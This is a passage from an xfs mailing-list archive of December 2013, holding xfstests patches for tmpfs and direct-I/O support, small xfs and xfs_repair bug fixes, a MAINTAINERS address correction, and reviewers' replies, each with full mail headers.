]; then + _notrun "O_DIRECT is not supported" + fi + fi + rm -f $testfile 2>&1 > /dev/null +} + # Check that a fs has enough free space (in 1024b blocks) # _require_fs_space() diff --git a/tests/generic/091 b/tests/generic/091 index bb176f1..926042d 100755 --- a/tests/generic/091 +++ b/tests/generic/091 @@ -38,6 +38,7 @@ trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 # real QA test starts here _supported_fs generic _supported_os Linux +_require_xfs_io_direct rm -f $seqres.full diff --git a/tests/generic/130 b/tests/generic/130 index 8367dc7..f9c885f 100755 --- a/tests/generic/130 +++ b/tests/generic/130 @@ -50,6 +50,7 @@ _supported_os Linux IRIX _require_scratch _require_sparse_files +_require_xfs_io_direct _scratch_mkfs >/dev/null 2>&1 _scratch_mount diff --git a/tests/generic/133 b/tests/generic/133 index 7fb1695..d858756 100755 --- a/tests/generic/133 +++ b/tests/generic/133 @@ -38,6 +38,7 @@ trap "exit \$status" 0 1 2 3 15 # real QA test starts here _supported_fs generic _supported_os Linux IRIX +_require_xfs_io_direct echo "Buffered writer, buffered reader" $XFS_IO_PROG -f -d -c 'pwrite -b 64k 0 512m' $TEST_DIR/io_test > /dev/null diff --git a/tests/generic/135 b/tests/generic/135 index 4a8b690..04ceebf 100755 --- a/tests/generic/135 +++ b/tests/generic/135 @@ -39,6 +39,7 @@ trap "exit \$status" 0 1 2 3 15 _supported_fs generic _supported_os Linux IRIX +_require_xfs_io_direct _require_scratch _scratch_mkfs >/dev/null 2>&1 || _fail "mkfs failed" _scratch_mount > /dev/null 2>&1 || _fail "mount failed" diff --git a/tests/generic/226 b/tests/generic/226 index 3514965..0fbaea7 100755 --- a/tests/generic/226 +++ b/tests/generic/226 @@ -37,6 +37,7 @@ trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 _supported_fs generic _supported_os Linux IRIX _require_scratch +_require_xfs_io_direct # real QA test starts here rm -f $seqres.full diff --git a/tests/generic/263 b/tests/generic/263 index bc59865..7bfe3ed 100755 --- a/tests/generic/263 +++ b/tests/generic/263 @@ -38,6 +38,7 @@ trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 # real QA test starts here _supported_fs generic _supported_os Linux +_require_xfs_io_direct rm -f $seqres.full diff --git a/tests/generic/299 b/tests/generic/299 index 14cce96..f2a83ee 100755 --- a/tests/generic/299 +++ b/tests/generic/299 @@ -43,6 +43,7 @@ _supported_fs generic _supported_os Linux _need_to_be_root _require_scratch +_require_xfs_io_direct NUM_JOBS=$((4*LOAD_FACTOR)) BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` diff --git a/tests/generic/300 b/tests/generic/300 index 7c60728..006c214 100755 --- a/tests/generic/300 +++ b/tests/generic/300 @@ -43,6 +43,7 @@ _supported_fs generic _supported_os Linux _need_to_be_root _require_scratch +_require_xfs_io_direct NUM_JOBS=$((4*LOAD_FACTOR)) BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` -- 1.8.5.1 From jayr@google.com Tue Dec 10 14:12:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8C7C77F94 for ; Tue, 10 Dec 2013 14:12:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7483F304067 for ; Tue, 10 Dec 2013 12:12:22 -0800 (PST) X-ASG-Debug-ID: 1386706341-04cb6c537b683000001-NocioJ Received: from mail-ie0-f201.google.com (mail-ie0-f201.google.com [209.85.223.201]) by cuda.sgi.com with ESMTP id dANcSJMz7AREz9Wd (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 12:12:21 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.201 Received: by mail-ie0-f201.google.com with SMTP id at1so1116117iec.0 for ; Tue, 10 Dec 2013 12:12:21 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=nKHkqnIpi9WASnzfL9fre502rcyItfP5F8w9qvZEVN4=; b=AWHwPH8x0JuA9qzph0tcdoebV5itijjVzr5+WF4nfAVMid6ns9ZUCbgOeVvuXkl8J6 L33ExsZPkXtciKMp6h7dO+xWcAx6a8RuGbBgf+a3DvbtZRwnmes8sUUbq0jGsd5hgLvW Q0LS2mRHVrX6oxKX5rS0EEv5LVD4DTaL/RZPXkYZxJr5DWy2kL/+23fUyyvPOFgIB0Ow QgN0NnMXIggZO7i7tDydC2wvk6/+5l4Tv5v4urWh6+SN2XqW64U2UOXaPkQfJYeOmjze Mz7A76QkQ5kUmNK7lTAxEC7xSoVOP9Tpmd5fv7FMmWIJD3Qv1WYEZoLit1mGjwhqZvuq QsXA== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=nKHkqnIpi9WASnzfL9fre502rcyItfP5F8w9qvZEVN4=; b=ioxsdh+W0ho30jla46NtXi273O0Eim0Kf+5TCwuudfWEFCkcZI9SPCpeQjOLbvQrMy sMP0lwVu4nlshTXSHzTwJtcrMA3YS22nuRNvowvURMnkTHvRWBC6OJJkSpwDMvakObqM wWboyWc1Szrr/HPG3JA0JC9Sm359mt431eVGQ3oZdClAwL16EQR4X/do0B81DmRFNp4B H14UFQfkhCa7YBzrs1HbQqqkBHf8lCFnXZNwV0w3uGYswvsMO05w61fC7RyNDjGQ017o iES7DmhMOzH0FsYrfI868VnLm0Odho2Cb9hnemlZT0QYkN8r0REn3QMpbIXvviUbiFrF Uy1w== X-Gm-Message-State: ALoCoQmITA3LiOTLMOHqHzC0y6fapu7sQ02dRlN2skh4DIw3bq7aRqbOvVj3PTsmjS8rMESeWEXeAteegsQy8hy8xxv+qo71OjwZp7VThCK8oZP3xKU6HB/ykq53P7eMfrYuqBMFP6bt+GRkAEUm5yYrLnrDujalIcpICUIijRQ0L/+rMDo0mcJnArOOEf8KaUMGzLhB7/lk X-Received: by 10.43.152.19 with SMTP id ku19mr8616577icc.24.1386706341605; Tue, 10 Dec 2013 12:12:21 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id h47si704685yhn.0.2013.12.10.12.12.21 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 10 Dec 2013 12:12:21 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 11C3631C281; Tue, 10 Dec 2013 12:12:21 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH 09/10] xfstests: add executable permission to tests Date: Tue, 10 Dec 2013 12:12:00 -0800 X-ASG-Orig-Subj: [PATCH 09/10] xfstests: add executable permission to tests Message-Id: <1386706321-15795-10-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1386706321-15795-1-git-send-email-jayr@google.com> References: <1386706321-15795-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-ie0-f201.google.com[209.85.223.201] X-Barracuda-Start-Time: 1386706341 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142996 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Hugh Dickins add executable permission to generic/311, generic/314 and generic/315. Just like other tests in the same directory. Signed-off-by: Hugh Dickins Signed-off-by: Junho Ryu --- tests/generic/311 | 0 tests/generic/314 | 0 tests/generic/315 | 0 tests/generic/321 | 0 tests/generic/322 | 0 5 files changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 tests/generic/311 mode change 100644 => 100755 tests/generic/314 mode change 100644 => 100755 tests/generic/315 mode change 100644 => 100755 tests/generic/321 mode change 100644 => 100755 tests/generic/322 diff --git a/tests/generic/311 b/tests/generic/311 old mode 100644 new mode 100755 diff --git a/tests/generic/314 b/tests/generic/314 old mode 100644 new mode 100755 diff --git a/tests/generic/315 b/tests/generic/315 old mode 100644 new mode 100755 diff --git a/tests/generic/321 b/tests/generic/321 old mode 100644 new mode 100755 diff --git a/tests/generic/322 b/tests/generic/322 old mode 100644 new mode 100755 -- 1.8.5.1 From jayr@google.com Tue Dec 10 14:12:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 02B787FC0 for ; Tue, 10 Dec 2013 14:12:27 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id CAD21304067 for ; Tue, 10 Dec 2013 12:12:23 -0800 (PST) X-ASG-Debug-ID: 1386706342-04bdf0132218f810001-NocioJ Received: from mail-pb0-f74.google.com (mail-pb0-f74.google.com [209.85.160.74]) by cuda.sgi.com with ESMTP id UG0GojN2VAUAE5CF (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 12:12:22 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.160.74 X-Barracuda-IPDD: Level1 [google.com/209.85.160.74] Received: by mail-pb0-f74.google.com with SMTP id uo5so882390pbc.5 for ; Tue, 10 Dec 2013 12:12:22 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.160.74] X-Barracuda-IPDD: Level1 [google.com/209.85.160.74] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=LfkiHxmi5LISylBiTIfgCWF7hyDSdLaMyqKjsMJfcyg=; b=DwAzGC5p5e4WvNUYk9IUz9E5IscJa76GieMap395LTNcRtW3cDnqiSvZ1piYCuJ3+T a065Q/VS/FlajdJwSWcte5Nao18bxL4/Z4niba51sG3B/J+McT0x3KG1VsYXjNIH/F3T YNod/mxMKAUM5qqdsliFB3WhLPfZfreet+OK6ouaH+rlAZ3rT8H4w3irzHmaI5K0mKFl 24jDkdt5l03TpDuX7ExnHNEv9/t+vzxCAnt6+8zClwQ9vQ9Ce/gxmsZnDyZpfi6QkiHP W2bjfyBRTDYrQsEJ0vR3sjLV8hjRhzcAaP82ub3CHqHv2je0VzyOMro5kkc7z4rXXALq qetw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=LfkiHxmi5LISylBiTIfgCWF7hyDSdLaMyqKjsMJfcyg=; b=KFjI+a0LWk1KlmA+z1JdDyUIcSokecV0n3koh9UyZFgloQHGsqJhxDD95GvApnfIYf e+dDEWgWZdrsBYZF5bpN2AiXi/WX9plc9iwgeHqMw5ZBsne+sSOQHIqQGv4Ifxshd/hv ZQeZ27Wf+2g741vWhH+G6I0/RvTexqCYNAut582YtBotO/fVnK1UnwP/1CMudZR/MldG mtyeQbDaAgBsuc3nIn82xPmSLN6zdw3cuR8SFfwDw4VOoQRyYATZOzVGGZCPb53A5IA6 ohIUdm2P6JMH1mpkeF/Wj0q1oxRebSDaWjJCBJU2FAjqjSHBGK8aZf11UvtPMmHEkZ2f 9VGw== X-Gm-Message-State: ALoCoQkOLPCCpGzAwM+ulAxV3xObYvTRlSzbBbpQlAxI44Ch3ab8e5iOI3TaAJ+vQxEW9Mi/VUdBisgH+tMWHXQrjp4pWNlOi/Zm6lyFm53vAr8OT5T/e95PNiFx7Myk8JhXNYDwGmUUsxLQ3Y4LjU9JlcocCyetXAM4KBLVbzNXIRIk42WluY7TQ4oB6ysRafkn9HD+LNVp X-Received: by 10.66.218.99 with SMTP id pf3mr13661576pac.8.1386706342214; Tue, 10 Dec 2013 12:12:22 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id k45si2262332yhn.4.2013.12.10.12.12.22 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 10 Dec 2013 12:12:22 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id A0F3131C2A4; Tue, 10 Dec 2013 12:12:21 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH 10/10] xfstests: skip parts of tests which cannot work on tmpfs Date: Tue, 10 Dec 2013 12:12:01 -0800 X-ASG-Orig-Subj: [PATCH 10/10] xfstests: skip parts of tests which cannot work on tmpfs Message-Id: <1386706321-15795-11-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1386706321-15795-1-git-send-email-jayr@google.com> References: <1386706321-15795-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-pb0-f74.google.com[209.85.160.74] X-Barracuda-Start-Time: 1386706342 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142996 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Skip generic/076 which tests concurrent access while testing tmpfs because there are other tests cover the case using fsstress. Skip generic/277 which requires chattr. Even if generic/053 will not be able to test exactly what the test has been intended to test, it will be still useful to have this test to try out some functionality on tmpfs rather than always failing or being skipped. Signed-off-by: Hugh Dickins Signed-off-by: Theodore Ts'o Signed-off-by: Junho Ryu --- tests/generic/053 | 6 +++--- tests/generic/076 | 2 ++ tests/generic/277 | 2 ++ 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/tests/generic/053 b/tests/generic/053 index b8bd9e6..885b87c 100755 --- a/tests/generic/053 +++ b/tests/generic/053 @@ -81,9 +81,9 @@ list_acls() echo "acls before repair:" list_acls -_do 'unmount $SCRATCH_DEV' 'umount $SCRATCH_DEV' -_do 'repair filesystem' '_check_scratch_fs' -_do 'mount filesytem' '_scratch_mount' +_do 'unmount $SCRATCH_DEV' '[ $FSTYP = tmpfs ] || umount $SCRATCH_DEV' +_do 'repair filesystem' '[ $FSTYP = tmpfs ] || _check_scratch_fs' +_do 'mount filesytem' '[ $FSTYP = tmpfs ] || _scratch_mount' echo "acls after repair: " list_acls diff --git a/tests/generic/076 b/tests/generic/076 index a53840f..faeed2f 100755 --- a/tests/generic/076 +++ b/tests/generic/076 @@ -57,6 +57,8 @@ _supported_os IRIX Linux _require_scratch +[ "$FSTYP" = "tmpfs" ] && _notrun "not applicable for the tmpfs file system" + echo "*** init fs" rm -f $seqres.full diff --git a/tests/generic/277 b/tests/generic/277 index 8461ad9..4672343 100755 --- a/tests/generic/277 +++ b/tests/generic/277 @@ -44,6 +44,8 @@ _supported_fs generic _supported_os Linux _require_scratch +[ "$FSTYP" = "tmpfs" ] && _notrun "not applicable for the tmpfs file system" + _scratch_mkfs > /dev/null 2>&1 _scratch_mount -- 1.8.5.1 From bpm@sgi.com Tue Dec 10 14:53:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 70FFB7F98 for ; Tue, 10 Dec 2013 14:53:53 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id EAA46AC014 for ; Tue, 10 Dec 2013 12:53:52 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 894C04266DC; Tue, 10 Dec 2013 14:53:52 -0600 (CST) Date: Tue, 10 Dec 2013 14:53:52 -0600 From: Ben Myers To: xfs@oss.sgi.com Subject: [PATCH v2] xfs_repair: fix process_bmbt_reclist_int Message-ID: <20131210205352.GC1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) There is a set checks for corruption in block map btrees in process_bmbt_reclist_int that we identify but currently do not fix. It appears that the author's intent in this function was to set error = 1, and then only clear it when all of the checks were completed successfully. Unfortunately error can be cleared when it is used for the return value of blkmap_set_ext. Some kinds of corruption are not being fixed, including duplicate extents, claiming free blocks, claiming metadata blocks, and multiply used blocks. Fix this by using error2 for the return code from blkmap_set_ext. Signed-off-by: Ben Myers --- v2: Use error2 instead of shadowing error, as per Dave's suggestion. repair/dinode.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) Index: b/repair/dinode.c =================================================================== --- a/repair/dinode.c 2013-12-10 14:42:57.905267321 -0600 +++ b/repair/dinode.c 2013-12-10 14:45:43.435246026 -0600 @@ -663,9 +663,10 @@ _("inode %" PRIu64 " - extent offset too } if (blkmapp && *blkmapp) { - error = blkmap_set_ext(blkmapp, irec.br_startoff, + int error2; + error2 = blkmap_set_ext(blkmapp, irec.br_startoff, irec.br_startblock, irec.br_blockcount); - if (error) { + if (error2) { /* * we don't want to clear the inode due to an * internal bmap tracking error, but if we've @@ -677,7 +678,7 @@ _("inode %" PRIu64 " - extent offset too do_abort( _("Fatal error: inode %" PRIu64 " - blkmap_set_ext(): %s\n" "\t%s fork, off - %" PRIu64 ", start - %" PRIu64 ", cnt %" PRIu64 "\n"), - ino, strerror(error), forkname, + ino, strerror(error2), forkname, irec.br_startoff, irec.br_startblock, irec.br_blockcount); } From bpm@sgi.com Tue Dec 10 14:59:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EEF997F98 for ; Tue, 10 Dec 2013 14:59:31 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id D5FC98F8033 for ; Tue, 10 Dec 2013 12:59:31 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B5C0B4266DC; Tue, 10 Dec 2013 14:59:31 -0600 (CST) Date: Tue, 10 Dec 2013 14:59:31 -0600 From: Ben Myers To: xfs@oss.sgi.com Subject: [PATCH v2] xfs: fix calculation of freed inode cluster blocks Message-ID: <20131210205931.GD1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) rec.ir_startino is an agino rather than an ino. Use the correct macro when dealing with it in xfs_difree. Signed-off-by: Ben Myers --- v2: remove RFC as per Dave's suggestion. fs/xfs/xfs_ialloc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) Index: b/fs/xfs/xfs_ialloc.c =================================================================== --- a/fs/xfs/xfs_ialloc.c 2013-12-03 12:07:24.485185962 -0600 +++ b/fs/xfs/xfs_ialloc.c 2013-12-03 12:07:40.994563706 -0600 @@ -1229,7 +1229,7 @@ xfs_difree( } xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, - agno, XFS_INO_TO_AGBNO(mp,rec.ir_startino)), + agno, XFS_AGINO_TO_AGBNO(mp, rec.ir_startino)), XFS_IALLOC_BLOCKS(mp), flist, mp); } else { *delete = 0; _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From bpm@sgi.com Tue Dec 10 15:02:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8A86D7F9C for ; Tue, 10 Dec 2013 15:02:17 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 203BD304062; Tue, 10 Dec 2013 13:02:14 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id ECD394266DC; Tue, 10 Dec 2013 15:02:13 -0600 (CST) Date: Tue, 10 Dec 2013 15:02:13 -0600 From: Ben Myers To: Namjae Jeon Cc: david@fromorbit.com, Namjae Jeon , xfs@oss.sgi.com Subject: Re: [PATCH] MAINTAINERS: fix incorrect mail address of XFS maintainer Message-ID: <20131210210213.GE1935@sgi.com> References: <1386513230-4914-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386513230-4914-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Sun, Dec 08, 2013 at 11:33:50PM +0900, Namjae Jeon wrote: > From: Namjae Jeon > > When I tried to send the patches to XFS Maintainers, > I got returned mail included delivery fail message for Dave's mail. > Maybe, Dave Chinner mail address is incorrect. > I try to fix it correctly. > > Signed-off-by: Namjae Jeon > --- > MAINTAINERS | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/MAINTAINERS b/MAINTAINERS > index 0f64bd9..3cd17ec 100644 > --- a/MAINTAINERS > +++ b/MAINTAINERS > @@ -9558,7 +9558,7 @@ F: drivers/xen/*swiotlb* > > XFS FILESYSTEM > P: Silicon Graphics Inc > -M: Dave Chinner > +M: Dave Chinner Looks to be correct. david@fromorbit.com Reviewed-by: Ben Myers > M: Ben Myers > M: xfs@oss.sgi.com > L: xfs@oss.sgi.com > -- > 1.7.9.5 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From BATV+86b229dfdd27afc694a3+3761+infradead.org+hch@bombadil.srs.infradead.org Tue Dec 10 15:03:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 93F937FA7 for ; Tue, 10 Dec 2013 15:03:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1F1CAAC010 for ; Tue, 10 Dec 2013 13:03:01 -0800 (PST) X-ASG-Debug-ID: 1386709380-04cb6c537d684800001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id YnoF11T7slD01hVO (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Tue, 10 Dec 2013 13:03:00 -0800 (PST) X-Barracuda-Envelope-From: BATV+86b229dfdd27afc694a3+3761+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqUSK-0000Cd-2F; Tue, 10 Dec 2013 21:03:00 +0000 Date: Tue, 10 Dec 2013 13:03:00 -0800 From: Christoph Hellwig To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs: fix calculation of freed inode cluster blocks Message-ID: <20131210210300.GA755@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2] xfs: fix calculation of freed inode cluster blocks References: <20131210205931.GD1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131210205931.GD1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386709380 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142997 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Dec 10, 2013 at 02:59:31PM -0600, Ben Myers wrote: > rec.ir_startino is an agino rather than an ino. Use the correct macro > when dealing with it in xfs_difree. > > Signed-off-by: Ben Myers Looks good, Reviewed-by: Christoph Hellwig From BATV+86b229dfdd27afc694a3+3761+infradead.org+hch@bombadil.srs.infradead.org Tue Dec 10 15:06:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5C0807F9D for ; Tue, 10 Dec 2013 15:06:57 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3CED68F8050 for ; Tue, 10 Dec 2013 13:06:54 -0800 (PST) X-ASG-Debug-ID: 1386709613-04cb6c537c684a20001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id OKDkv91ITBGzg8hA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Tue, 10 Dec 2013 13:06:53 -0800 (PST) X-Barracuda-Envelope-From: BATV+86b229dfdd27afc694a3+3761+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqUW5-0001ZR-0U; Tue, 10 Dec 2013 21:06:53 +0000 Date: Tue, 10 Dec 2013 13:06:52 -0800 From: Christoph Hellwig To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs_repair: fix process_bmbt_reclist_int Message-ID: <20131210210652.GA5996@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2] xfs_repair: fix process_bmbt_reclist_int References: <20131210205352.GC1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131210205352.GC1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386709613 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of 